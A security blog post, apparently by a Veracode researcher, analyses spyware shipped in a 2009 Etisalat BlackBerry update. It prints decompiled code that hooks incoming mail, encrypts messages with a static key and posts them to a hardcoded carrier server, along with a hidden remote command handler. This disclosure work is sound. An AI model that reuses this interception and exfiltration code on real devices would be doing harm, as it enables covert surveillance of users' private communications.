Yesterday it was reported by various media outlets that a recent BlackBerry software update from Etisalat (a UAE-based carrier) contained spyware that would intercept emails and text messages and send copies to a central Etisalat server. We decided to take a look to find out more. We're not sure why the software was delivered in both .jar and .cod form. The .cod file is a RIM proprietary format that contains the compiled Java classes along with a signature. Therefore it's not even necessary to send the .jar, but they did, completely unobfuscated. Arrogance or incompetence? Here's what's inside:

$ jar tvf Registration.jar
     0 Sat Jul 04 18:52:00 EDT 2009 META-INF/
   447 Sat Jul 04 18:52:00 EDT 2009 META-INF/MANIFEST.MF
 18732 Sat Jul 04 18:52:00 EDT 2009 Registration.cod
    91 Sat Jul 04 18:52:00 EDT 2009 Registration.csl
   183 Sat Jul 04 18:52:00 EDT 2009 Registration.cso
     0 Sat Jul 04 18:52:00 EDT 2009 com/
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/
 10857 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Commands.class
  2388 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Constants.class
  1056 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Log.class
   935 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Main$1.class
  3479 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Main.class
  4137 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/MsgOut.class
  5975 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Recv.class
 16133 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Send.class
  2988 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/StatusChange.class
  6462 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Transmit.class
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/
  3465 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/HTTPDeliver.class
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/smtp/
  7370 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/smtp/SMTP.class
  3285 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/smtp/SMTPHeader.class
  3871 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/SocketBase.class
  1273 Sat Jul 04 18:52:00 EDT 2009 Interceptor.class

These classes implement the various hooks:

  • The Recv class implements net.rim.blackberry.api.mail.event.FolderListener and net.rim.blackberry.api.mail.event.StoreListener, allowing it to hook folder and message store updates. It's installed using addFolderListener().
  • The Send class implements net.rim.blackberry.api.mail.event.FolderListener and net.rim.blackberry.api.mail.SendListener, allowing it to hook folder updates and outbound messages. It's not installed as a listener via addSendListener(), though it's used explicitly to forward messages later on.
  • The StatusChange class implements net.rim.device.api.system.RadioStatusListener and net.rim.device.api.system.GlobalEventListener, allowing it to hook radio events such as a change of network. It's installed using addRadioListener() and addGlobalEventListener(), and all it really does is remove and re-register the Recv listener when certain network events occur.

Whenever a message is received on the device, the Recv class first inspects it to determine if it contains an embedded command -- more on this later. If not, it UTF-8 encodes the message, GZIPs it, AES encrypts it using a static key ("EtisalatIsAProviderForBlackBerry"), and Base64 encodes the result. It then adds this bundle to a transmit queue. The main app polls this queue every five seconds using a Timer, and when there are items in the queue to transmit, it calls this function to forward the message to a hardcoded server via HTTP (see below). The call to http.sendData() simply constructs the POST request and sends it over the wire with the proper headers.

private boolean queueHTTP(boolean is_registration)
{
  boolean result = false;
  StringBuffer url = new StringBuffer();
  StringBuffer buf = new StringBuffer();
  url.setLength(0);
  url.append("http://10.116.3.99:7095/bbupgr");
  if(is_registration)
    url.append("/register");
  else
    url.append("/store");
  buf.setLength(0);
  buf.append("");
  if(is_registration)
    buf.append("regbb@etisalat.ae");
  else
    buf.append("etisalat_upgr@etisalat.ae");
  buf.append("");
  buf.append("rn");
  buf.append("");
  buf.append(subj);
  buf.append("");
  buf.append("rn");
  buf.append("");
  buf.append(body);
  buf.append("");
  String final_buf = encodeMsg(buf.toString(), true);
  for(int i = 0; i < max_tries; i++)
  {
    HTTPDeliver http = new HTTPDeliver(log);
    result = http.sendData(url.toString(), final_buf, true);
    if(!is_registration);
    if(result)
      return result;
    try
    {
      Thread.sleep(30000L);
    }
    catch(InterruptedException iex) { }
  }

  return result;
}

Let's get back to that part about embedded commands. The first thing that the Recv class does is check to see if there's an embedded command in the received message. The first check is actually inactive due to a conditional that will always evaluate to false. If I had to guess I would say that conditional was originally used to check the origin of the message against two BlackBerry device PINs -- that's a guess based on the fact that the strings look similar to the device PIN format. If this code path were enabled, any message with a subject containing "cmd_mail" would be passed off to a command handling routine. If the subject also contained "XXX", it meant the body was encrypted.

if("206789ea".length() < 1 && "205b04e4".length() < 1)
{
  if(subject != null && subject.indexOf("cmd_mail") != -1)
  {
    String body = msg.getBodyText();
    if(body != null)
      if(subject.indexOf("XXX") != -1)
        cmds.encryptedCmd(log, sender, body);
      else
        cmds.interpCmdBuffer(log, sender, body);
    try
    {
      msg.getFolder().deleteMessage(msg, true);
    }
    catch(Exception e) { }
    return;
  }
}

Since that section will never run, we move on to the else clause. Here, we see that if the sender name and address match "Customer Service" and the message was PIN-based (as opposed to email based) the body of the message will be treated as an encrypted command packet and the message will be instantly discarded. It's unclear if it will momentarily appear in the user's Inbox, but even if it does, it won't be there for long.

else
{
  String fpin = null;
  String fnam = null;
  try
  {
    Address from = msg.getFrom();
    if(from != null)
    {
      fpin = from.getAddr();
      fnam = from.getName();
    }
  }
  catch(Exception e) { }
  if(fpin != null && fnam != null && fpin.equalsIgnoreCase("Customer Service") && fnam.equalsIgnoreCase("Customer Service") && cmds.msgIsPIN(msg))
  {
    String body = msg.getBodyText();
    try
    {
      msg.getFolder().deleteMessage(msg, true);
    }
    catch(Exception e) { }
    if(body != null)
      cmds.encryptedCmd(log, sender, body);
    return;
  }
}

The encryptedCmd() function parses the body of the command packet by extracting anything that looks like a PGP signature block, that is, the chunk of text delimited by the strings "-----BEGIN PGP SIGNATURE-----" and "-----END PGP SIGNATURE-----". It then Base64 decodes the body and AES decrypts it using an AES key based on the device PIN. It then parses the command packet, which is an XML-like structure. It doesn't seem to execute arbitrary commands, just packages up device information such as IMEI, IMSI, phone number, etc. and sends it back to the central server, the same way it does for received messages. It also provides a way to remotely enable/disable the spyware itself using the commands "start" and "stop". Just for fun, here's the key generation routine used to encrypt these command packets to a specific device. The keyString variable is the hex-encoded form of whatever is returned by the RIM API call DeviceInfo.getDeviceId():

public static byte[] generateKey(String keyString, int keylen)
{
  byte buf[] = new byte[keylen];
  Arrays.fill(buf, (byte)0);
  byte key[] = keyString.getBytes();
  int srcbytes = key.length;
  int n = srcbytes;
  if(n < keylen)
    n = keylen;
  int keyoffset = 0;
  int i = 0;
  int j = 0;
  for(; i < n; i++)
  {
    int pos = i % srcbytes;
    buf[j++] ^= key[pos] + keyoffset;
    if(pos == srcbytes - 1)
      keyoffset += 23;
    if(j % keylen == 0)
      j = 0;
  }

  return buf;
}

The most alarming part about this whole situation is that people only noticed the malware because it was draining their batteries. The server receiving the initial registration packets (i.e. "Here I am, software is installed!") got overloaded. Devices kept trying to connect every five seconds to empty the outbound message queue, thereby causing a battery drain. Some people were reporting on official BlackBerry forums that their batteries were being depleted from full charge in as little as half an hour. The final thing to mention is that the spyware does appear to be installed in a non-running state by default, where it's not actually exfiltrating data once the initial registration packet has gone out. However, using the command and control mechanism we described earlier, the carrier can remotely start/stop the service at will on a per-device basis.

Veracode Security Solutions
Veracode Security Threat Guides

Chris Eng, vice president of research, is responsible for integrating security expertise into Veracode’s technology. In addition to helping define and prioritize the security feature set of the Veracode service, he consults frequently with customers to discuss and advance their application security initiatives. With over 15 years of experience in application security, Chris brings a wealth of practical expertise to Veracode.

Love to learn about Application Security?

Get all the latest news, tips and articles delivered right to your inbox.

 

 

 

contact menu